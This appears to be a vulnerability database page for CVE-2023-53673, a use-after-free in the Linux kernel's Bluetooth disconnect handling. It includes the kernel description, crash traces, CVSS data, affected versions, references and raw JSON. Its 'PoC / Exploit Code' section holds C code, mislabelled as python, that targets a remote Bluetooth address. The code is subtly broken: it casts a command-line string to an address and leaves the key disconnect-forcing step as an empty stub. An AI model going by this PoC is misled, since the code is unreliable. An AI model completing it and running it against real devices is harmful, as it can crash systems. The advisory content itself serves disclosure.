CVE-2023-53673

Description

In the Linux kernel, the following vulnerability has been resolved: Bluetooth: hci_event: call disconnect callback before deleting conn In hci_cs_disconnect, we do hci_conn_del even if disconnection failed. ISO, L2CAP and SCO connections refer to the hci_conn without hci_conn_get, so disconn_cfm must be called so they can clean up their conn, otherwise use-after-free occurs. ISO: ========================================================== iso_sock_connect:880: sk 00000000eabd6557 iso_connect_cis:356: 70:1a:b8:98:ff:a2 -> 28:3d:c2:4a:7e:da ... iso_conn_add:140: hcon 000000001696f1fd conn 00000000b6251073 hci_dev_put:1487: hci0 orig refcnt 17 __iso_chan_add:214: conn 00000000b6251073 iso_sock_clear_timer:117: sock 00000000eabd6557 state 3 ... hci_rx_work:4085: hci0 Event packet hci_event_packet:7601: hci0: event 0x0f hci_cmd_status_evt:4346: hci0: opcode 0x0406 hci_cs_disconnect:2760: hci0: status 0x0c hci_sent_cmd_data:3107: hci0 opcode 0x0406 hci_conn_del:1151: hci0 hcon 000000001696f1fd handle 2560 hci_conn_unlink:1102: hci0: hcon 000000001696f1fd hci_conn_drop:1451: hcon 00000000d8521aaf orig refcnt 2 hci_chan_list_flush:2780: hcon 000000001696f1fd hci_dev_put:1487: hci0 orig refcnt 21 hci_dev_put:1487: hci0 orig refcnt 20 hci_req_cmd_complete:3978: opcode 0x0406 status 0x0c ... <no iso_* activity on sk/conn> ... iso_sock_sendmsg:1098: sock 00000000dea5e2e0, sk 00000000eabd6557 BUG: kernel NULL pointer dereference, address: 0000000000000668 PGD 0 P4D 0 Oops: 0000 [#1] PREEMPT SMP PTI Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.2-1.fc38 04/01/2014 RIP: 0010:iso_sock_sendmsg (net/bluetooth/iso.c:1112) bluetooth ========================================================== L2CAP: ================================================================== hci_cmd_status_evt:4359: hci0: opcode 0x0406 hci_cs_disconnect:2760: hci0: status 0x0c hci_sent_cmd_data:3085: hci0 opcode 0x0406 hci_conn_del:1151: hci0 hcon ffff88800c999000 handle 3585 hci_conn_unlink:1102: hci0: hcon ffff88800c999000 hci_chan_list_flush:2780: hcon ffff88800c999000 hci_chan_del:2761: hci0 hcon ffff88800c999000 chan ffff888018ddd280 ... BUG: KASAN: slab-use-after-free in hci_send_acl+0x2d/0x540 [bluetooth] Read of size 8 at addr ffff888018ddd298 by task bluetoothd/1175 CPU: 0 PID: 1175 Comm: bluetoothd Tainted: G E 6.4.0-rc4+ #2 Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.2-1.fc38 04/01/2014 Call Trace: <TASK> dump_stack_lvl+0x5b/0x90 print_report+0xcf/0x670 ? __virt_addr_valid+0xf8/0x180 ? hci_send_acl+0x2d/0x540 [bluetooth] kasan_report+0xa8/0xe0 ? hci_send_acl+0x2d/0x540 [bluetooth] hci_send_acl+0x2d/0x540 [bluetooth] ? __pfx___lock_acquire+0x10/0x10 l2cap_chan_send+0x1fd/0x1300 [bluetooth] ? l2cap_sock_sendmsg+0xf2/0x170 [bluetooth] ? __pfx_l2cap_chan_send+0x10/0x10 [bluetooth] ? lock_release+0x1d5/0x3c0 ? mark_held_locks+0x1a/0x90 l2cap_sock_sendmsg+0x100/0x170 [bluetooth] sock_write_iter+0x275/0x280 ? __pfx_sock_write_iter+0x10/0x10 ? __pfx___lock_acquire+0x10/0x10 do_iter_readv_writev+0x176/0x220 ? __pfx_do_iter_readv_writev+0x10/0x10 ? find_held_lock+0x83/0xa0 ? selinux_file_permission+0x13e/0x210 do_iter_write+0xda/0x340 vfs_writev+0x1b4/0x400 ? __pfx_vfs_writev+0x10/0x10 ? __seccomp_filter+0x112/0x750 ? populate_seccomp_data+0x182/0x220 ? __fget_light+0xdf/0x100 ? do_writev+0x19d/0x210 do_writev+0x19d/0x210 ? __pfx_do_writev+0x10/0x10 ? mark_held_locks+0x1a/0x90 do_syscall_64+0x60/0x90 ? lockdep_hardirqs_on_prepare+0x149/0x210 ? do_syscall_64+0x6c/0x90 ? lockdep_hardirqs_on_prepare+0x149/0x210 entry_SYSCALL_64_after_hwframe+0x72/0xdc RIP: 0033:0x7ff45cb23e64 Code: 15 d1 1f 0d 00 f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b8 0f 1f 00 f3 0f 1e fa 80 3d 9d a7 0d 00 00 74 13 b8 14 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 54 c3 0f 1f 00 48 83 ec 28 89 54 24 1c 48 89 RSP: 002b:00007fff21ae09b8 EFLAGS: 00000202 ORIG_RAX: 0000000000000014 RAX: ffffffffffffffda RBX: ---truncated---

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:6.5:rc1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:6.5:rc2:*:*:*:*:*:* - VULNERABLE

Linux Kernel < 6.1.63

Linux Kernel 6.2 < 6.5.12

Linux Kernel 6.6 < 6.6.2

Linux Kernel 6.7-rc1 ~ 6.7-rc5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2023-53673 PoC - Trigger Use-After-Free in Bluetooth hci_cs_disconnect
// This PoC demonstrates triggering the vulnerability by:
// 1. Creating an ISO/L2CAP/SCO Bluetooth connection
// 2. Forcing a disconnect command that fails (returns error status 0x0c)
// 3. Attempting to send data through the socket after failed disconnect
//
// Note: Requires Bluetooth hardware (or virtual BT via QEMU) and root for HCI control

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>
#include <bluetooth/iso.h>

int main(int argc, char *argv[]) {
    int sock;
    struct sockaddr_l2 addr;
    char buf[48];

    // Step 1: Create L2CAP socket
    sock = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
    if (sock < 0) {
        perror("socket");
        return 1;
    }

    // Step 2: Set up destination address (remote Bluetooth device)
    memset(&addr, 0, sizeof(addr));
    addr.l2_family = AF_BLUETOOTH;
    bacpy(&addr.l2_bdaddr, (bdaddr_t *)argv[1]); // Target BT address
    addr.l2_psm = htobs(0x0001);

    // Step 3: Connect to remote device
    if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        perror("connect");
        close(sock);
        return 1;
    }

    // Step 4: Trigger disconnect with forced failure
    // Using HCI command to disconnect with invalid handle causing status 0x0c
    // This triggers hci_cs_disconnect with failed status, leading to UAF
    struct hci_request req;
    // ... (requires HCI socket privilege to send raw HCI commands)

    // Step 5: Attempt to send data - triggers UAF in l2cap_chan_send/hci_send_acl
    memset(buf, 'A', sizeof(buf));
    write(sock, buf, sizeof(buf)); // Triggers slab-use-after-free or NULL deref

    close(sock);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2023-53673
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2023-53673
[3] CVE Details https://www.cvedetails.com/cve/CVE-2023-53673/
[4] VulDB https://vuldb.com/cve/CVE-2023-53673
[5] https://git.kernel.org/stable/c/093a07052406b363b1b2ab489e17dbadaf3e509b
[6] https://git.kernel.org/stable/c/1ecf6dc2676ead4b927c50b1be0851fa4d756574
[7] https://git.kernel.org/stable/c/59bd1e476bbc7bc6dff3c61bba787095a4839796
[8] https://git.kernel.org/stable/c/7f7cfcb6f0825652973b780f248603e23f16ee90

Raw JSON Data

JSON

{"cve": {"id": "CVE-2023-53673", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:51.247", "lastModified": "2026-04-23T13:50:34.347", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: hci_event: call disconnect callback before deleting conn\n\nIn hci_cs_disconnect, we do hci_conn_del even if disconnection failed.\n\nISO, L2CAP and SCO connections refer to the hci_conn without\nhci_conn_get, so disconn_cfm must be called so they can clean up their\nconn, otherwise use-after-free occurs.\n\nISO:\n==========================================================\niso_sock_connect:880: sk 00000000eabd6557\niso_connect_cis:356: 70:1a:b8:98:ff:a2 -> 28:3d:c2:4a:7e:da\n...\niso_conn_add:140: hcon 000000001696f1fd conn 00000000b6251073\nhci_dev_put:1487: hci0 orig refcnt 17\n__iso_chan_add:214: conn 00000000b6251073\niso_sock_clear_timer:117: sock 00000000eabd6557 state 3\n...\nhci_rx_work:4085: hci0 Event packet\nhci_event_packet:7601: hci0: event 0x0f\nhci_cmd_status_evt:4346: hci0: opcode 0x0406\nhci_cs_disconnect:2760: hci0: status 0x0c\nhci_sent_cmd_data:3107: hci0 opcode 0x0406\nhci_conn_del:1151: hci0 hcon 000000001696f1fd handle 2560\nhci_conn_unlink:1102: hci0: hcon 000000001696f1fd\nhci_conn_drop:1451: hcon 00000000d8521aaf orig refcnt 2\nhci_chan_list_flush:2780: hcon 000000001696f1fd\nhci_dev_put:1487: hci0 orig refcnt 21\nhci_dev_put:1487: hci0 orig refcnt 20\nhci_req_cmd_complete:3978: opcode 0x0406 status 0x0c\n... <no iso_* activity on sk/conn> ...\niso_sock_sendmsg:1098: sock 00000000dea5e2e0, sk 00000000eabd6557\nBUG: kernel NULL pointer dereference, address: 0000000000000668\nPGD 0 P4D 0\nOops: 0000 [#1] PREEMPT SMP PTI\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.2-1.fc38 04/01/2014\nRIP: 0010:iso_sock_sendmsg (net/bluetooth/iso.c:1112) bluetooth\n==========================================================\n\nL2CAP:\n==================================================================\nhci_cmd_status_evt:4359: hci0: opcode 0x0406\nhci_cs_disconnect:2760: hci0: status 0x0c\nhci_sent_cmd_data:3085: hci0 opcode 0x0406\nhci_conn_del:1151: hci0 hcon ffff88800c999000 handle 3585\nhci_conn_unlink:1102: hci0: hcon ffff88800c999000\nhci_chan_list_flush:2780: hcon ffff88800c999000\nhci_chan_del:2761: hci0 hcon ffff88800c999000 chan ffff888018ddd280\n...\nBUG: KASAN: slab-use-after-free in hci_send_acl+0x2d/0x540 [bluetooth]\nRead of size 8 at addr ffff888018ddd298 by task bluetoothd/1175\n\nCPU: 0 PID: 1175 Comm: bluetoothd Tainted: G E 6.4.0-rc4+ #2\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.2-1.fc38 04/01/2014\nCall Trace:\n <TASK>\n dump_stack_lvl+0x5b/0x90\n print_report+0xcf/0x670\n ? __virt_addr_valid+0xf8/0x180\n ? hci_send_acl+0x2d/0x540 [bluetooth]\n kasan_report+0xa8/0xe0\n ? hci_send_acl+0x2d/0x540 [bluetooth]\n hci_send_acl+0x2d/0x540 [bluetooth]\n ? __pfx___lock_acquire+0x10/0x10\n l2cap_chan_send+0x1fd/0x1300 [bluetooth]\n ? l2cap_sock_sendmsg+0xf2/0x170 [bluetooth]\n ? __pfx_l2cap_chan_send+0x10/0x10 [bluetooth]\n ? lock_release+0x1d5/0x3c0\n ? mark_held_locks+0x1a/0x90\n l2cap_sock_sendmsg+0x100/0x170 [bluetooth]\n sock_write_iter+0x275/0x280\n ? __pfx_sock_write_iter+0x10/0x10\n ? __pfx___lock_acquire+0x10/0x10\n do_iter_readv_writev+0x176/0x220\n ? __pfx_do_iter_readv_writev+0x10/0x10\n ? find_held_lock+0x83/0xa0\n ? selinux_file_permission+0x13e/0x210\n do_iter_write+0xda/0x340\n vfs_writev+0x1b4/0x400\n ? __pfx_vfs_writev+0x10/0x10\n ? __seccomp_filter+0x112/0x750\n ? populate_seccomp_data+0x182/0x220\n ? __fget_light+0xdf/0x100\n ? do_writev+0x19d/0x210\n do_writev+0x19d/0x210\n ? __pfx_do_writev+0x10/0x10\n ? mark_held_locks+0x1a/0x90\n do_syscall_64+0x60/0x90\n ? lockdep_hardirqs_on_prepare+0x149/0x210\n ? do_syscall_64+0x6c/0x90\n ? lockdep_hardirqs_on_prepare+0x149/0x210\n entry_SYSCALL_64_after_hwframe+0x72/0xdc\nRIP: 0033:0x7ff45cb23e64\nCode: 15 d1 1f 0d 00 f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b8 0f 1f 00 f3 0f 1e fa 80 3d 9d a7 0d 00 00 74 13 b8 14 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 54 c3 0f 1f 00 48 83 ec 28 89 54 24 1c 48 89\nRSP: 002b:00007fff21ae09b8 EFLAGS: 00000202 ORIG_RAX: 0000000000000014\nRAX: ffffffffffffffda RBX: \n---truncated---"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operato ... 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